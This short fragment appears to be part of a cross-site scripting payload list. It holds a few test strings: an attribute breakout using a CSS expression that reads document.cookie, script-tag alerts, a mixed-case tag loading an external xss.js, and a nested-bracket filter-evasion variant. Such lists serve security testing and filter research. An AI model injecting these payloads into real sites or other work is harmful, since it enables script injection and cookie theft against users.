foo"><x styple=" x:expression(alert(document.cookie))
<script>alert("2cto")</script> <sCrIpT. src=xss.js></sCrIpT> <<script>alert("xss");//<</script>